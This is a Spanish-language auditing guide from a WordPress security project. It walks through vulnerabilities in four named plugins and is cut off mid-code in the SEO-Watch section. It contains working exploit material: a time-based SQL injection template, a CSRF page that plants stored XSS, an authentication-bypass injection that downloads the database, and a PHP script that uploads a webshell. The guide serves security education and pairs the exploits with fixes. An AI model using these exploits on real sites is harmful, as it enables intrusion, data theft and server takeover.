juan manuel fernández (the x-c3ll)
TRANSCRIPT
PROYECTO WORDPRESSA
Juan Manuel Fernández (The X-C3LL)
pág. 2 || www.wordpresaquantika14.com || [email protected]
Me alegra que haya llegado el momento de compartir es-
tas líneas escritas por The-Xc3ll, lo conocí en persona en
la RootedCon 2k13 y posteriormente más personalmente
en Navajas Negras. No pude contener mis ganas en pe-
dirle que escribiera algo sobre exploiting en Wordpress
para este proyecto. Jorge Websec
Licenciado en Biología por la Universidad de Salamanca, especiali-
dad de biología fundamental y biotecnología. Desde 2006 ha estado inves-
tigando y realizando auditorias en entornos web como hobbie. Actual-
mente publica en http://blog.0verl0ad.com
Empezó en el entramado mundo de la seguridad informática investi-
gando por su cuenta, de una forma autodidacta. Utilizando para aprender
y compartir los foros y el IRC pudo desarrollar su camino como profesional
en pruebas de intrusión (aparte de leer un montón como todos). Especiali-
zado en auditorias de seguridad web nos trae una guía de como auditar
plugins en wordpress.
Esta obra está bajo una licencia de Creative Commons Reconocimiento-NoComercial-SinObraDerivada 3.0
Unported.
pág. 3 || www.wordpresaquantika14.com || [email protected]
Vamos a utilizar la siguiente estructura para la mejor comprensión.
1. Nombre de plugin y vulnerabilidad.
1.1. Información sobre el plugin.
1.2. Breve descripción del código.
2. Vulnerabilidades
3. Explotación
4. Solución
Los plugins de esta edición son:
1. NOSpamPTI 2.1 Wordpress Plugin … pag 4
2. Wordpress WP-SendSMS Plugin 1.0 … pag 9
3. WORDPRESS SHOPPING CART 8.1.14 … pag 16
4. WORDPRESS SEO-WATCH PLUGIN 1.4 … pag 22
Todos estos plugins tienen sus respectivas vulnerabilidades y autores que las encontraron. Pueden verlas en www.exploit-db.com o www.1337day.com Nosotros solo vamos a explicar cómo auditarlas.
Podrás practicar todo desde Wordpressa LAB v1.5. Puedes descargártelo de la misma página que te descargaste este PDF.
pág. 4 || www.wordpresaquantika14.com || [email protected]
NOSpamPTI es un plugin de wordpress diseñado a evitar la publicación de
comentarios generados automáticamente por bots. Para tal cometido añade una
prueba-reto basada en responder una suma de dos números naturales comprendidos
entre el 1 y el 4. Posteriormente el plugin comprueba si la respuesta dada coincide con
la esperada. De no coincidir el plugin interpreta que el mensaje ha sido generado por
un programa automático, no se trata de un humano, y eliminar el mensaje.
El plugin posee un archivo PHP principal llamado nospampti.php que posee
únicamente 2 funciones.
*challenge_form():
Es la función encargada de generar la suma y añadirla al formulario original
para el envío de comentarios. Junto al input encargado de recoger la respuesta ante
el reto, también se añade un input tipo “hidden” que contiene el hash md5 de la
respuesta correcta (se resalta en rojo por la importancia que tiene a la hora de hacer
un bypass a la protección)
*challenge_check($comment_id):
Es la función encargada de comprobar si la respuesta del reto es la correcta. En
ella se hace una comprobación con un “if” entre el hash md5 de la respuesta que envió
el usuario y el contenido del campo hidden, de tal forma que si coincide el comentario
se publica y si no éste es eliminado de la base de datos inmediatamente.
Este plugin es vulnerable a Time-based SQL injection y, además, la supuesta
protección que proporciona es fácilmente evadible por parte de los bots.
-Time-based SQL injection:
Las SQL injection (abreviadas a partir de ahora como SQLi) de forma genérica
podemos definirlas como inyecciones de código malicioso dentro de las sentencias
pág. 5 || www.wordpresaquantika14.com || [email protected]
normales que ejecuta una aplicación al interactuar con una base de datos. Este código
malicioso perturba el normal funcionamiento de la sentencia, permitiendo a un
atacante ejecutar de forma arbitraria lo que desee. Se produce por tomar directamente
las variables que toman valores proporcionados por el usuario, sin realizar ningún
filtrado.
En el caso concreto de las “Blind SQLi” el atacante no puede ver de forma
directa el resultado de su inyección, sino que tiene que proceder a una “boolenización”
de las sentencias, observando si en tras inyectar se obtiene un valor True o uno
False. Normalmente esto se observa cuando carga o deja de cargar una parte de la
web (si no carga es que la sentencia ha devuelto un valor False; si carga es un True).
De esta forma podemos ir poco a poco deduciendo el nombre de tablas, columnas, etc.
Si observamos el código de nospampti.php nos damos cuenta de que no existe
ningún tipo de protección, y se realiza una sentencia a la base de datos de forma
directa con el valor procedente de la petición POST que se realiza al enviar un
comentario:
$count = $wpdb->get_var("select count(*) from $wpdb->comments where
comment_post_id = {$post_id} and comment_approved = '1'");
Inicialmente podemos pensar que se trata símplemente de una SQLi normal o a
ciegas clásica, pero si observamos el código en conjunto observaremos que su
explotación requiere del uso de técnicas basadas en el timing. if ($hash != $challenge) {
$wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID = {$comment_id}"); $count = $wpdb->get_var("select count(*) from $wpdb->comments where comment_post_id =
{$post_id} and comment_approved = '1'"); $wpdb->query("update $wpdb->posts set comment_count = {$count} where ID = {$post_id}");
wp_die(__('Sorry, wrong answer.')); } }
Si observamos la última línea, resaltada en rojo, veremos que siempre vamos a
obtener el mensaje de “Sorry, wrong answer.” independientemente que la inyección
que nosotros le pasemos a la base de datos devuelva un valor True o False. Por lo tanto
debemos de recurrir al uso de funciones que metan un retardo de un tamaño
suficientemente sensible si la sentencia devuelve True, de tal forma que podamos
discriminar el resultado de la inyección a través del tiempo que tardemos en tener una
respuesta.
Por esta razón se denomina a esta vulnerabilidad “Time-based SQL Injection”:
porque para su explotación recurrimos a retardos de tiempo
La variable vulnerable es comment_post_ID y se manda como un campo
“hidden” en el formulario para el envío de comentarios.
pág. 6 || www.wordpresaquantika14.com || [email protected]
-Bypass de la protección Anti-Spam:
Como bonus además este plugin diseñado para evitar los mensajes de SPAM
puede ser bypasseado de múltiples formas, quedando la supuesta protección que ofrece
en entredicho. Observando el código se ve más claro: $nums = array(rand(1,4), rand(1,4));
$n1 = max($nums[0], $nums[1]); $n2 = min($nums[0], $nums[1]);
$challenge = ($n1 + $n2); $hash = md5($challenge);
$question = __("Which the sum of: {$n1} + {$n2}"); $field = sprintf('<p><label for="challenge">%s</label> <input type="hidden" name="challenge_hash"
value="%s" /> <input type="text" name="challenge" id="challenge" size="2" /></p>', $question, $hash); echo $field;
En primer lugar podemos ver como el reto se compone de únicamente una suma
de dos números naturales comprendidos entre 1 y 4 (1, 2, 3, 4) por lo que la variedad
de respuestas plausibles es muy limitada. A parte de esto, el hecho de seguir siempre
la misma estructura permite a un spammer generar un bot que busque la cadena
“Which the sum of:” y a continuación leer la suma y calcular el resultado directamente
(esta debilidad está resaltada en rojo).
Como colofón final nos encontramos con que el propio sistema está mal diseñado
puesto que la respuesta al reto que se debe de enviar (el hash md5, señalado de color
azul) está implícita en el propio formulario, por lo que un usuario malintencionado
únicamente tendría que hacer un bot que buscase el input de nombre
“challenge_hash”, extrajera el md5 y, en un listado previamente creado (las opciones
son pocas puesto que es la suma de únicamente del 1 al 4) comprobar a qué número
corresponde el hash.
Para la explotación manual de esta vulnerabilidad podemos recurrir a
herramientas que permitan la manipulación del contenido enviado por POST. En este
caso vamos a utilizar el add on para Mozilla Firefox conocido como “Live HTTP
Headers”, que permite el sniffing de las cabeceras HTTP y su manipulación.
Volviendo a revisar el código de la función que posee la consulta vulnerable nos
damos cuenta de un detalle que es imprescindible para ponernos en contexto:
pág. 7 || www.wordpresaquantika14.com || [email protected]
if ($hash != $challenge) { $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID = {$comment_id}"); $count = $wpdb->get_var("select count(*) from $wpdb->comments where comment_post_id =
{$post_id} and comment_approved = '1'"); $wpdb->query("update $wpdb->posts set comment_count = {$count} where ID = {$post_id}");
wp_die(__('Sorry, wrong answer.')); } }
El operador de comparación “!=” señalado en azul nos indica que la petición a la
base de datos se ejecutará cuando $hash sea diferente a $challenge. Por lo tanto para
poder inyectar cualquier cosa previamente debemos conseguir esta condición, lo cual
es sencillo: únicamente debemos de tomar una petición HTTP que contenga una
petición POST legítima y proceder a modificar el campo challenge_hash por cualquier
cosa.
Una vez hemos modificado el campo challenge_hash por una cadena aleatoria, a
fin de cumplir el !=, procedemos a realizar las inyecciones. Para introducir los retardos
de tiempo podemos emplear la función SLEEP():
Si hacemos la prueba, nos daremos cuenta de que el mensaje de “Sorry, wrong
answer.” tarda mucho más que si nos limitamos a hacer un AND 1=1. Recordemos que
tanto si la inyección devuelve un True o un False siempre vamos a ver ese mismo
pág. 8 || www.wordpresaquantika14.com || [email protected]
mensaje: la única forma que tenemos de sacar info es a través de añadir los retardos
con sleep.
Una estructura clásica que es utilizada para la explotación es la que aparece en
muchas CheatSheets sobre SLQi:
99 OR IF((ASCII(MID(({INJECTON}),1,1)) = 100),SLEEP(14),1) = 0 LIMIT 1--
Utilizando como molde esa sentencia se puede ajustar nuestra inyección.
Como se trata de una tarea muy tediosa el ir probando de forma manual se
puede recurrir a herramientas como SQLmap o Havij para agilizar el proceso.
Una regla general aplicable a la protección contra SQLi, y a cualquier otra
vulnerabilidad con el mismo fundamento, es nunca confiar en los datos que recibimos
a través de GET o POST, puesto que aunque a priori parecen imposibles de modificar,
no es así. Herramientas como Tamper Data o Live HTTp Headers nos permiten la
manipulación de cualquier variable enviada.
Por otra parte, siguiendo esta misma línea de desconfianza, debemos comprobar
siempre el tipo de dato que se nos ha facilitado: si esperamos un integer, únicamente
queremos integers. En PHP tenemos la función gettype que nos devuelve un string
conteniendo el tipo de dato.
También, como siempre, es necesario escapar cualquier carácter que pueda
llegar a ser problemático, usando funciones como htmlspecialchars.
Por último podemos recurrir a las denominadas “prepared statements”, que
permiten hacer consultas a la base de datos usando valores proporcionados por el
usuario sin riesgo de sufrir un SQLi, ya que los valores son entrecomillados
directamente.
pág. 9 || www.wordpresaquantika14.com || [email protected]
WP-SendSMS es un plugin para Wordpress que permite el envío de mensajes
cortos a móviles a través del envío de peticiones HTTP a la API del SMS gateway que
vayamos a emplear. El plugin permite una laxa moderación del contenido de los sms a
través de la configuración de blacklists de palabras censuradas así como la definición
de un número máximo de caracteres para enviar en cada sms.
El plugin además implementa ciertas medidas de seguridad, tales como el uso
de captchas y la doble confirmación, que actúan como una primera barrera destinada a
evitar el abuso directo por parte de bots que podrían emplear el envío de SMS en
campañas masivas de spam o para realizar flooding.
Dentro de este plugin encontramos varios archivos PHP de entre los cuales
destacan wp-sendsms.php y sms_admin_settings.php. En WP-SendSMS.php se
localizan las funciones clave para el funcionamiento y en sms_admin_settings.php las
configuraciones que serán utilizadas.
Grosso modo el plugin trabaja enviando una petición con cURL a la API del
SMS gateway. Los parámetros necesarios para el envío del SMS son recogidos por un
formulario localizado en sms_form.php.
A continuación veremos ciertos detalles de los dos archivos más importantes que
conforman este plugin.
*SMS_Admin_Settings.php
En él podemos observar un formulario donde el administrador podrá configurar
el plugin con las opciones mencionadas arriba (uso de captchas, número máximo de
caracteres, etc.) así como añadir la url que deberá de ser utilizada para enviar la
petición al SMS gateway.
...
<form action="" method="post">
<table class="form-table">
<tbody>
<tr valign="top">
<th scope="row"><label for="wpsms_api1"><strong>API 1:</strong> <br
/> Useful Shortcodes: [Mobile], [TextMessage], [SenderID]</label></th>
<td><textarea name="wpsms_api1" id="wpsms_api1" class="regular-
text" cols="100" rows="5"><?php echo get_option('wpsms_api1'); ?></textarea></td>
pág. 10 || www.wordpresaquantika14.com || [email protected]
</tr>
<tr valign="top">
<th scope="row"><label for="sender_id"><strong>Sender ID:
</strong></label></th>
<td><input type="text" name="sender_id" id="sender_id" value="<?php
echo get_option('sender_id'); ?>" /></td>
</tr> ...
En el form vemos que se realiza una petición POST con el contenido del
formulario hacia el propio archivo PHP. Detalle importante a tener en cuenta
posteriormente será el “<?php echo get_option('CUALQUIER COSA'); ?>” que permite
mostrar el valor en los inputs ya que va a tener implicaciones en la seguridad del
plugin. Las opciones vienen definidas en un array, y sus valores iniciales se establecen
en el archivo wp-sendsms.php.
Al enviar el formulario por POST se modificará el contenido de dicho array de
tal forma que contendrá los valores (como vemos en el siguiente trozo de código), y
estos nuevos valores serán mostrados en cada respectivo input. if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true')
{
//add_option( $option, $value, $deprecated, $autoload );
$options=$_POST;
if(!isset($options['remove_bad_words'])) $options['remove_bad_words']='0';
if(!isset($options['captcha'])) $options['captcha']='0';
if(!isset($options['confirm_page'])) $options['confirm_page']='0';
if(!isset($options['custom_response'])) $options['custom_response']='0';
if(!isset($options['allow_without_login'])) $options['allow_without_login']='0';
foreach($options as $option=>$value)
{
update_option( $option, $value );
}
*WP-SendSMS.php
Es el archivo donde vienen definidas las funciones del plugin. Las principales
son:
-wpsms_activate():
Se encarga de definir los valores por defecto del array que contendrá la
configuración y crea una nueva tabla en la base de datos que recogerá los datos de los
SMS enviados (ID, user_id, mobile, message, response, IP, sent_time).
-sanitize_badwords($message):
Elimina las palabras censuradas que están recogidas en el fichero badwords.txt
a través de un str_replace().
pág. 11 || www.wordpresaquantika14.com || [email protected]
-get_data($url):
Realiza una petición cURL normal hacia la API del SMS Gateway
-wpsms_send():
Ejecuta get_data() guardando la respuesta del servidor. Además añade una
entrada en la tabla de la base de datos que se creó al ejecutarse wpsms_activate().
Este plugin es vulnerable a CSRF y XSS persistente.
-Cross Site Request Forgery (CSRF)
Cross Site Request Forgery es la denominación de un ataque que consiste en
forzar a realizar acciones a un usuario autenticado en contra de su voluntad. En este
caso concreto se permite forzar al administrador a rellenar el formulario de
configuración del plugin y enviarlo. Esto es debido a que el formulario localizado en
wp-admin/admin.php?page=sms es procesado sin hacer ningún tipo de comprobación.
Lo ideal sería que al ejecutar una acción que depende de una petición GET o POST se
envíe también un “token” generado que sea imposible de averiguar, de tal forma que la
petición será procesada únicamente si el token enviado coincide con el esperado.
En el caso concreto de nuestro plugin podemos ver que el formulario de
sms_admin_settings.php no envía ningún token, ni hace comprobación alguna;
únicamente se limita a comprobar si se ha enviado por POST el parámetro
settings_submit .
if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true')
Y en caso afirmativo procede a modificar las variables del array que contiene la
configuración con los valores enviados.
Si un usuario malintencionado quisiera obligar al administrador a cambiar
algún parámetro de la configuración, tan sólo tendría que crear un exploit en HTML
que autoenviara el formulario con los valores que el atacante desee, y enviárselo al
administrador para que lo visite. Más adelante profundizaremos en el desarrollo del
exploit.
-Cross Site Scripting permanente (XSS)
Los ataques XSS de tipo permanente consisten en la inclusión de código
malicioso (normalmente JavaScript) dentro de una web, permitiendo al atacante
ejecutar variados payloads cuando un usuario visita la web que lo contiene. Este tipo
de vulnerabilidades que permiten la inserción de JavaScript suelen ser utilizadas
para distintos objetivos como el robo de cookies, phising, lanzamiento de exploits
pág. 12 || www.wordpresaquantika14.com || [email protected]
contra el navegador, etc.
En el archivo sms_admin_settings.php nos encontramos que el array que
contiene la configuración del plugin no filtra de forma alguna el contenido que el
usuario le pasa: if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true')
{
//add_option( $option, $value, $deprecated, $autoload );
$options=$_POST; if(!isset($options['remove_bad_words'])) $options['remove_bad_words']='0';
if(!isset($options['captcha'])) $options['captcha']='0';
if(!isset($options['confirm_page'])) $options['confirm_page']='0';
if(!isset($options['custom_response'])) $options['custom_response']='0';
if(!isset($options['allow_without_login'])) $options['allow_without_login']='0';
foreach($options as $option=>$value)
{ update_option( $option, $value ); }
En las líneas coloreadas de rojo podemos observar como la variable $options
toma directamente el valor que se le ha enviado desde el formulario, sin modificación
alguna, y procede a actualizar el array de configuración con dichos valores. Por lo
tanto guarda todo lo que se le envía sin filtrado alguno.
En este mismo archivo, a partir de la línea 23 comienza el formulario que se
enviará. En él podemos observar como en varias ocasiones se muestran directamente
los valores contenidos en el array: ...
<tr valign="top">
<th scope="row"><label for="maximum_characters"><strong>Maximum
Character Allowed: </strong></label></th>
<td><input type="text" name="maximum_characters"
class="maximum_characters" id="maximum_characters" value="<?php echo
get_option('maximum_characters'); ?>" /></td> </tr> ...
Al no existir ningún tipo de filtrado en ninguno de los puntos (toma de valores y
utilización de estos) un atacante malicioso podría rellenar estas variables con código
JavaScript, y al usarse para rellenar el value del input se estaría incluyendo en la
web. Por ejemplo, si en el campo “Maximum Character Allowed” nosotros lo
rellenamos con un “><script>alert(8)</script> , a la hora de ejecutarse el ECHO
dentro de “value” en la web obtendríamos un:
pág. 13 || www.wordpresaquantika14.com || [email protected]
<tr valign="top">
<th scope="row"><label for="maximum_characters"><strong>Maximum
Character Allowed: </strong></label></th>
<td><input type="text" name="maximum_characters"
class="maximum_characters" id="maximum_characters" value="”><script>alert(8)</script>" /></td> </tr>
Y se nos ejecutaría el código JavaScript, mostrándonos un alert con un 8. Un
atacante malicioso podría, por ejemplo, robar la cookie del administrador.
En total los parámetros vulnerables a XSS persistente son:
1. sender_id
2. maximum_characters
3. captcha_width
4. captch_height
5. captcha_characters
La explotación requiere de la combinación de las dos vulnerabilidades
comentadas arriba. Utilizando como medio el CSRF se puede obligar al administrador
a rellenar en el formulario los parámetros vulnerables a XSS persistente, de tal forma
que quedaría a merced del atacante. Para ello podemos valernos de un HTML. En este
ejemplo de PoC (extraído de http://1337day.com/exploit/20877 ) hemos añadido
comentarios para comprenderlo mejor:
<html>
<head>
<script type="text/javascript" language="javascript">
Creamos una función para el autoenvío del formulario
function submitform()
{
document.getElementById('myForm').submit();
}
</script>
</head>
<body>
Creamos el formulario siguiendo la misma estructura que el original
<form name="myForm" action="http://localhost/wordpressa/wp-admin/admin.php?page=sms"
method="post">
<textarea name="wpsms_api1" id="wpsms_api1" class="regular-text" cols="100"
rows="5">http://wordpressa/smsapi.php?username=yourusername&password=yourpassword&mobile=[
Mobile]&sms=[TextMessage]&senderid=[SenderID]</textarea>
<input type="text" name="sender_id" id="sender_id" value="eXpl0i13r">
<input type="checkbox" name="remove_bad_words" id="remove_bad_words" checked="checked"
value="1">
Aqui colocamos nuestro código malicioso
pág. 14 || www.wordpresaquantika14.com || [email protected]
<input type="text" name="maximum_characters" class="maximum_characters"
id="maximum_characters" value=' "><script>alert(/Wordpressa!/)</script>'> <input type="checkbox" name="captcha" id="captcha" checked="checked" value="1">
<input type="text" name="captcha_width" class="captcha_option_input" value="" id="acpro_inp4">
<input type="text" name="captcha_height" class="captcha_option_input" value="" id="acpro_inp5">
<input type="text" name="captcha_characters" class="captcha_option_input" value="4"
id="acpro_inp6">
<input type="checkbox" name="confirm_page" id="confirm_page" checked="checked" value="1">
<input type="checkbox" name="allow_without_login" id="allow_without_login" checked="checked"
value="1">
<input type="checkbox" name="custom_response" id="custom_response" value="1">
<textarea name="custom_response_text" cols="100" rows="5"></textarea>
<input type="hidden" name="settings_submit" value="true">
<input type="submit" value="Update Settings" class="button-primary">
</form>
Ejecutamos el autoenvio <script type="text/javascript" language="javascript">
document.myForm.submit()
</script>
</body>
</html>
Con este HTML lo que hacemos es rellenar el formulario con el JavaScript
malicioso y autoenviarlo.
Soluciones:
Para solventar las vulnerabilidades de XSS es imprescindible el filtrado de
cualquier variable cuyo valor sea proporcionado por el usuario. Para tal
misión podemos utilizar, por ejemplo, la función de PHP htmlspecialchars() que
permite escapar aquellos caracteres que puedan ser problemáticos y con los que el
atacante podría formar su inyección. Además podemos eliminar las etiquetas HTML
usando strip_tags(). Podemos hacer un workaround modificando la línea 8 del archivo
sms_admin_settings.php y añadiendo estas funciones, quedando como: foreach($options as $option=>$value)
{
update_option( $option, htmlspecialchars(strip_tags($value)) ); }
En cuanto al CSRF podemos crear una variable con un contenido aleatorio cuyo
valor incluimos en un campo “hidden” dentro del formulario para que sea enviado.
Antes de actualizar el array con los datos de la configuración comprobamos si el valor
enviado por POST de este campo hidden coincide con el deseado, de tal forma que si el
atacante no conoce este “token”, nunca podrá hacer que al enviar el formulario éste
ejecute cambio alguno. En sms_admin_settings.php colocamos al inicio este código: if(!isset($_SESSION['token'])){
$tk = md5(uniqid(mt_rand(), true));
$_SESSION['token'] = $tk;
Lo que aquí hacemos es si no tiene ningún valor la variable “token”, le pasamos
como valor un hash md5 generado, en cierto modo, de forma aleatoria. La línea:
pág. 15 || www.wordpresaquantika14.com || [email protected]
if(isset($_POST['settings_submit']) && $_POST['settings_submit']=='true')
La modificamos para que compruebe el campo hidden que contendrá el token:
if(isset($_POST['tk']) && $_POST['tk']===$_SESSION['token'])
Nótese como en vez de usar “==” utilizamos “===”. Esto tiene como objetivo
evitar la conversión de tipos que ejerce == y así evitar que un hash tipo 0exxxxxxxx o
1exxxxxx pase a ser 0 o 1, dificultando así un ataque por fuerza bruta. En este caso
poco sentido tendría, pero es una buena práctica a tener en cuenta siempre.
Por ultimo sustituimos el campo hidden del formulario (settings_submit) por
nuestro “tk”: <input type="hidden" name="tk" value="<?php echo $_SESSION['token']; ?>" />
<input type="submit" value="Update Settings" class="button-primary" />
pág. 16 || www.wordpresaquantika14.com || [email protected]
Wordpress Shopping Cart es un plugin que dota al CMS wordpress de una plataforma e-
comerce con la que poder montar una tienda on-line. Además de las herramientas propias para la
realización de las transacciones, este plugin añade una serie de herramientas administrativas para
facilitar la configuración y funcionamiento de la plataforma.
El plugin se compone de numerosos archivos PHP. Los más interesantes desde
el punto de vista de la seguridad del producto se encuentran en la ruta
/levelfourstorefront/scripts/administration/ :
-backup.php
-exportaccounts.php
-exportsubscribers.php
-dbuploaderscript.php
Los 3 archivos primeros archivos operan de una forma muy similar, por lo que
nos centraremos en el análisis de backup.php que tomaremos como paradigma, ya que
comprendiendo su código podremos fácilmente entender cómo funcionan el resto.
*backup.php
Como su propio nombre indica es el archivo encargado de realizar un
backup de la base de datos que tenemos en nuestro Wordpress. Cuando
accedemos a este fichero se nos permite descargar un archivo SQL para poder
tener nuestro backup.
La primera parte del PHP se encarga de recoger los datos de conexión a la
base de datos que se encuentran guardados en flashdb.php, y de guardar lo
que se le pase por GET en la variable $requestID.
require_once('../../Connections/flashdb.php');
$output_messages=array();
pág. 17 || www.wordpresaquantika14.com || [email protected]
$requestID = "-1";
if (isset($_GET['reqID'])) {
$requestID = $_GET['reqID'];
}
A continuación guarda en la variable $usersqlquery la petición SQL que hará a
la base de datos para comprobar si el usuario que ha realizado el backup está
autorizado, para que únicamente aquellas personas con el rol de admin puedan
hacerlo. $usersqlquery = sprintf("select * from clients WHERE clients.Password = '" . $requestID . "' AND
clients.UserLevel = 'admin' ORDER BY Email ASC"); mysql_select_db($database_flashdb, $flashdb);
$userresult = mysql_query($usersqlquery, $flashdb) or die(mysql_error());
$users = mysql_fetch_assoc($userresult);
Grosso modo podemos decir que buscar en la tabla clientes si algún usuario
tiene la password que le pasábamos como parámetro GET reqID y además tiene el rol
de admin. Si ambas (AND) condiciones se cumplen se guarda el nombre del usuario en
la variable $user.
Posteriormente nos encontramos una estructura if-else: si la variable $user contiene
algún valor significará que quien ha hecho la petición cumplía las dos condiciones y
está autorizado, por lo que se procede a preparar el backup; en caso contrario se
muestra un mensaje de error indicando que no se está autorizado: if ($users) {
…
…
} else {
echo "Not Authorized...";
}
Dentro del if se hace el backup y se permite su descarga con extensión .sql; el
nombre del archivo será Storefront_backup_(FECHA).sql: header("Content-type: application/octet-stream");
header('Content-Disposition: attachment;
filename=Storefront_Backup_'.date('Y_m_d').'.sql');
header("Pragma: no-cache");
header("Expires: 0");
mysqldump($mysql_database);
pág. 18 || www.wordpresaquantika14.com || [email protected]
*dbuploaderscript.php
Es un PHP que permite al administrador subir archivos al servidor. La
comprobación de si se trata de un usuario con nivel administrador es la misma
que se usaba en backup.php y el resto de archivos de exportación de datos de la
db, y de hecho, es el mismo que se usa en la mayoría de los archivos PHP que
componen este plugin. Por lo tanto todos ellos son vulnerables, como veremos en
la siguiente sección.
Retomando la explicación de este archivo en concreto, primero se hace la
misma comprobación que vimos antes (pero esta vez reqID es enviado por
POST): $requestID = $_POST['reqID'];
$usersqlquery = sprintf("select * from clients WHERE clients.Password = '" . $requestID . "' AND
clients.UserLevel = 'admin' ORDER BY Email ASC"); mysql_select_db($database_flashdb, $flashdb);
$userresult = mysql_query($usersqlquery, $flashdb) or die(mysql_error());
$users = mysql_fetch_assoc($userresult);
Y si hay algún usuario que cumple las dos condiciones, se procede a subir el
archivo de forma normal: if ($users) {
//Flash File Data
$filename = $_FILES['Filedata']['name'];
//delete file if exists.
if (file_exists("../../products/".$filename)) { unlink ("../../products/".$filename); }
// Place file on server, into the products folder
move_uploaded_file($_FILES['Filedata']['tmp_name'], "../../products/".$filename);
}
?>
Este plugin es principalmente vulnerable a inyecciones SQL clásicas (SQLi)
debido a que para realizar ciertas consultas a la base de datos utiliza directamente los
valores de variables que le han sido pasados directamente desde el usuario, y que por
tanto pueden encontrarse manipulados. Resulta curioso que en otros ficheros nos
encontremos esta SQLi tan sencilla y sin embargo, un par de líneas más abajo, veamos
cómo se utilizan “prepared statements” o cómo se escapan caracteres problemáticos
dentro de las variables. Esto sugiere a que el código ha sido programado por más de
una persona, o que se ha estado reutilizando partes de otros programas.
pág. 19 || www.wordpresaquantika14.com || [email protected]
Retomando la SQLi, ésta se localiza en la sentencia que se utiliza para
comprobar si un usuario tiene el nivel de administrador: $usersqlquery = sprintf("select * from clients WHERE clients.Password = '" . $requestID . "' AND
clients.UserLevel = 'admin' ORDER BY Email ASC");
Como ya habíamos explicado en la sección anterior, esta sentencia lo que hace
es devolver los usuarios que cumplen dos condiciones al mismo tiempo:
-que su “password” se corresponda con el valor $requestID, que recordemos se trataba
de una variable tipo GET llamada reqID.
-que su rol sea el de administrador.
El problema radica en que un atacante puede manipular el contenido de reqID y
poder realizar un bypass de la autenticación.
select * from clients WHERE clients.Password = '" . $requestID . "' AND clients.UserLevel =
'admin' ORDER BY Email ASC
Si hacemos una petición a uno de estos archivos que utilizan este método de “seguridad” del
tipo ?reqID=1' or 1='1 la sentencia quedaría como:
select * from clients WHERE clients.Password = '1' or 1='1' AND clients.UserLevel = 'admin'
ORDER BY Email ASC
Lo que estamos consiguiendo con esta inyección es que la sentencia ahora quede como:
“saca los usuarios cuya password sea 1 o 1 sea igul a 1, y además, tenga el nivel de admin”
Como 1 siempre va a ser igual a 1, la primera condición se cumple, y como
además seguro que hay algún usuario que tenga el nivel de administrador, la petición
nos los devolverá. Como después hay una estructura if-else que evalúa si la petición
devolvió algún usuario, y en nuestro caso lo hará, ya podemos hacer aquella acción que
nos estaba vedada.
En la anterior sección se vio como había ciertos scripts dentro del plugin para
poder subir archivos, o para descargar un backup de la base de datos. A continuación
veremos cómo explotando está débil medida de seguridad podemos descargarnos toda
la base de datos, o subir una webshell que nos permita controlar todo el servidor.
pág. 20 || www.wordpresaquantika14.com || [email protected]
La descarga de la base de datos se puede realizar directamente pasando la inyección desde el
navegador:
http://localhost/wordpressa/wp-
content/plugins/levelfourstorefront/scripts/administration/backup.php?reqID=1' or 1='1
Aprovechando esta SQLi podemos proceder a tomar el control ya que nos
permite realizar un bypass al archivo dbuploaderscript.php, que como ya vimos
anteriormente, su función es la de subir cualquier archivo, independientemente de su
extensión. Por lo tanto podemos crear un exploit sencillo en PHP (modificado de un
PoC de PacketStorm) que mande una petición HTTP para subir nuestra shell, y en el
campo reqID ponga la inyección para el bypass:
pág. 21 || www.wordpresaquantika14.com || [email protected]
<?php
//?w=http://localhost/wordpressa/
$uploadfile = "emelco.php"; //Editar con tu webshell
$where = $_GET['w'];
$force = $where . "wp-
content/plugins/levelfourstorefront/scripts/administration/dbuploaderscript.php";
$ch = curl_init("$force");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'reqID'=>"1'or 1='1")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$postResult = curl_exec( $ch );
curl_close($ch);
header('Location: ' . $where . 'wp-content/plugins/levelfourstorefront/products/' . $uploadfile); ?>
Una regla general aplicable a la protección contra SQLi, y a cualquier otra vulnerabilidad
con el mismo fundamento, es nunca confiar en los datos que recibimos a través de GET o POST,
puesto que aunque a priori parecen imposibles de modificar, no es así. Herramientas como Tamper
Data o Live HTTp Headers nos permiten la manipulación de cualquier variable enviada.
Por otra parte, siguiendo esta misma línea de desconfianza, debemos comprobar siempre el
tipo de dato que se nos ha facilitado: si esperamos un integer, únicamente queremos integers. En
PHP tenemos la función gettype que nos devuelve un string conteniendo el tipo de dato.
También, como siempre, es necesario escapar cualquier carácter que pueda llegar a ser
problemático, usando funciones como htmlspecialchars.
Por último podemos recurrir a las denominadas “prepared statements”, que permiten hacer
consultas a la base de datos usando valores proporcionados por el usuario sin riesgo de sufrir un
SQLi, ya que los valores son entrecomillados directamente.
pág. 22 || www.wordpresaquantika14.com || [email protected]
Seo-Watch es un plugin para wordpress que facilita al administrador del blog
poder hacer un seguimiento de sus estadísticas en google. Concretamente el plugin
permite configurar tres URLs y tres palabras clave, de forma automática harán
peticiones a los servidores de Google para descargarse el TOP 100 y extraer la
información que atañe a nuestra web.
Los archivos más importantes que aparecen en este plugin son wp-
seowatcher.php y ofc_upload_image.php.
*wp-seowatcher.php
Es el fichero clave del plugin. Pasamos a ver las funciones más importantes que
posee:
-seowatcher_setup():
Se encarga de generar la base de datos con las palabras que utilizará para hacer
las búsquedas de google. Además guarda en el array que maneja las opciones la
palabra, url, y servidor de google al que conectarse por defecto. El usuario después
podrá cambiarlas desde el panel de administración.
-seowatcher_update_keyword():
Es la función encargada de hacer la petición a Google, y de actualizar la
información que nos va proporcionando. Para obtener la información el plugin utiliza
en esta parte la función wp_remote_request() que nos proporciona el propio wordpress,
de tal forma que se realiza una petición HTTP normal.
Una vez que envía la petición, recoge la respuesta y le pasa su propio algoritmo
de parseo para extraer los resultados y guardarlos en la base de datos.
*ofc_upload_image.php
Es un archivo encargado de realizar la subida de imágenes. No filtra ningún
pág. 23 || www.wordpresaquantika14.com || [email protected]
tipo de extensión, ni comprueba si quien hace uso del PHP es el administrador. En
principio la “subida” en realidad como la realiza es creando un fichero y pasándole
como contenido lo que le es enviado vía POST:
$default_path = '../tmp-upload-images/';
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
// full path to the saved image including filename //
